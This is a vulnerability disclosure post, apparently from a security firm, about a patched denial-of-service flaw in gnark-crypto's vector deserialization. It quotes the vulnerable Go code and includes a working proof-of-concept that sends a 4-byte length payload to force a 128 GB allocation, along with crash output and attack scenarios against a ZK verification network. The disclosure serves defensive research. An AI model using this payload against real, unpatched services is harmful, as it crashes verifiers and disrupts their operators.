During a security audit of Aligned Layer‘s Batcher component, our fuzzing infrastructure identified a critical denial-of-service vulnerability in gnark-crypto, one of the most widely-used cryptographic libraries in the Ethereum ecosystem. The vulnerability allows an attacker to crash any service deserializing ZK proofs by sending a malicious 4-byte payload that triggers a 128GB memory allocation attempt. The issue has been assigned GHSA-fj2x-735w-74vq and patched in gnark-crypto v0.18 and v0.19.
Aligned Layer is a ZK verification layer for Ethereum, designed to make zero-knowledge proof verification fast, cheap, and scalable. The platform operates as an Actively Validated Service (AVS) built on EigenLayer, secured by billions of dollars worth of restaked ETH.
The architecture consists of several key components:
The Batcher is a critical component that receives proof submissions from users via CLI or SDK, collects them into batches, and dispatches them to the operator network. This makes it a prime target for security analysis, any vulnerability here could impact the entire verification pipeline.
FuzzingLabs was engaged to perform a comprehensive security assessment of Aligned Layer’s infrastructure. Given that the Batcher processes untrusted user input (ZK proofs in various formats), we prioritized it for deep fuzzing analysis. Our goal was to identify any vulnerabilities that could be exploited by malicious actors submitting crafted proofs.
When fuzzing the Aligned Layer Batcher, we focused on the deserialization paths, the code responsible for parsing incoming proof data. These are classic attack surfaces: parsers that trust input length fields, format specifiers, or structural metadata without validation.
We built custom fuzzers targeting the proof ingestion pipeline, generating mutated inputs that exercised edge cases in:
During fuzzing, we observed consistent crashes when the fuzzer generated inputs with specific patterns in the length fields.
The Go runtime was attempting to allocate massive amounts of memory during vector deserialization. Tracing the call stack led us directly to gnark-crypto’s Vector.ReadFrom() function.
fatal error: runtime: out of memory
runtime stack:
runtime.throw(...)
runtime.makeslice(...)
github.com/consensys/gnark-crypto/ecc/bn254/fr.(*Vector).ReadFrom(...)
The vulnerable code resides in gnark-crypto/ecc/bn254/fr/vector.go (and equivalent files for all other supported curves):
func (vector *Vector) ReadFrom(r io.Reader) (int64, error) {
var buf [Bytes]byte
if read, err := io.ReadFull(r, buf[:4]); err != nil {
return int64(read), err
}
sliceLen := binary.BigEndian.Uint32(buf[:4]) // ← ATTACKER CONTROLLED
n := int64(4)
(*vector) = make(Vector, sliceLen) // ← UNCHECKED ALLOCATION
for i := 0; i < int(sliceLen); i++ {
read, err := io.ReadFull(r, buf[:])
n += int64(read)
if err != nil {
return n, err
}
(*vector)[i], err = BigEndian.Element(&buf)
if err != nil {
return n, err
}
}
return n, nil
}
The vulnerability is a textbook case of unchecked integer-to-allocation:
uint32 representing vector lengthThe critical flaw: memory allocation happens before verifying that the input actually contains enough data. An attacker can claim a vector length of 4 billion elements while providing zero actual data.
gnark-crypto uses a simple serialization format for field element vectors:
┌─────────────────┬─────────────────────────────────────────────┐
│ Length (4B) │ Elements (N × 32 bytes each) │
│ Big-endian │ Field elements in big-endian format │
└─────────────────┴─────────────────────────────────────────────┘
This format trusts the length field implicitly which is a dangerous assumption when processing untrusted input.
For the BN254 curve, each field element (fr.Element) is 32 bytes. The maximum allocation an attacker can request:
| sliceLen (hex) | Elements | Total Allocation |
|---|---|---|
0x00001000 | 4,096 | 128 KB |
0x00100000 | 1,048,576 | 32 MB |
0x10000000 | 268,435,456 | 8 GB |
0xCACACACA | 3,402,287,818 | 101.4 GB |
0xFFFFFFFF | 4,294,967,295 | 128 GB |
With just 4 bytes of controlled input, an attacker can force an allocation request of up to 128 GB.
The vulnerability exists in the vector deserialization code for all curves supported by gnark-crypto:
ecc/bn254/fr/vector.go -> BN254 (32 bytes/element)ecc/bls12381/fr/vector.go -> BLS12-381 (32 bytes/element)ecc/bls12377/fr/vector.go -> BLS12-377 (32 bytes/element)ecc/bw6761/fr/vector.go -> BW6-761 (48 bytes/element, up to 192 GB)ecc/bw6633/fr/vector.go -> BW6-633ecc/stark-curve/fr/vector.go -> STARK curveFor curves with larger field elements (like BW6-761), the maximum allocation is even higher.
package main
import (
"bytes"
"encoding/binary"
"fmt"
"log"
"github.com/consensys/gnark-crypto/ecc/bn254/fr"
)
func main() {
// Craft malicious payload: just 4 bytes claiming 4 billion elements
maliciousLength := uint32(0xFFFFFFFF)
buf := new(bytes.Buffer)
if err := binary.Write(buf, binary.BigEndian, maliciousLength); err != nil {
log.Fatal(err)
}
// This will attempt to allocate ~128 GB and crash
var vec fr.Vector
_, err := vec.ReadFrom(buf)
if err != nil {
fmt.Printf("Error: %v\n", err)
}
}
fatal error: runtime: out of memory
runtime stack:
runtime.throw({0x5a2e87?, 0x0?})
/usr/local/go/src/runtime/panic.go:1067 +0x48
runtime.makeslice(0x4a8de0?, 0xffffffff?, 0x20?)
/usr/local/go/src/runtime/slice.go:107 +0x64
github.com/consensys/gnark-crypto/ecc/bn254/fr.(*Vector).ReadFrom(...)
The program crashes immediately during the make() call, before reading any element data.
Attacker → Aligned Batcher → Proof Deserialization → Vector.ReadFrom() → CRASHAn attacker submits a malformed proof to the Batcher API. The Batcher attempts to deserialize the proof, hits the vulnerable code path, and crashes. Time to impact: milliseconds.
Attacker → Submit Malicious Proof → Validators Download & Verify → ALL VALIDATORS CRASHIn a decentralized verification network, a single malicious proof can simultaneously crash all validators attempting to verify the batch.
With the ability to trigger 100+ GB allocations per request, an attacker can exhaust system resources even without fully crashing the process:
The amplification factor is extraordinary: 4 bytes of attacker input → 128 GB allocation attempt.
This vulnerability demonstrates the importance of rigorous security testing for cryptographic libraries. gnark-crypto is a foundational component of the Ethereum ZK ecosystem, used by projects ranging from zkRollups to privacy protocols. A DoS vulnerability at this layer has cascading effects across the entire stack.
Finding this bug through fuzzing during an audit of Aligned Layer highlights the value of security-focused fuzzing for complex systems. By treating the Batcher’s proof deserialization as an attack surface, we were able to identify a critical vulnerability not just in Aligned Layer’s direct code, but in a widely-used dependency.
We thank the Consensys team for their rapid response and thorough fix, and we look forward to continued collaboration to secure the ZK ecosystem.
Nabih Benazzouz / @Raefko
Founded in 2021 and headquartered in Paris, FuzzingLabs is a cybersecurity startup specializing in vulnerability research, fuzzing, and blockchain security. We combine cutting-edge research with hands-on expertise to secure some of the most critical components in the blockchain ecosystem.
Contact us for an audit or long term partnership!
| Cookie | Duration | Description |
|---|---|---|
| cookielawinfo-checkbox-analytics | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics". |
| cookielawinfo-checkbox-functional | 11 months | The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional". |
| cookielawinfo-checkbox-necessary | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary". |
| cookielawinfo-checkbox-others | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other. |
| cookielawinfo-checkbox-performance | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance". |
| viewed_cookie_policy | 11 months | The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data. |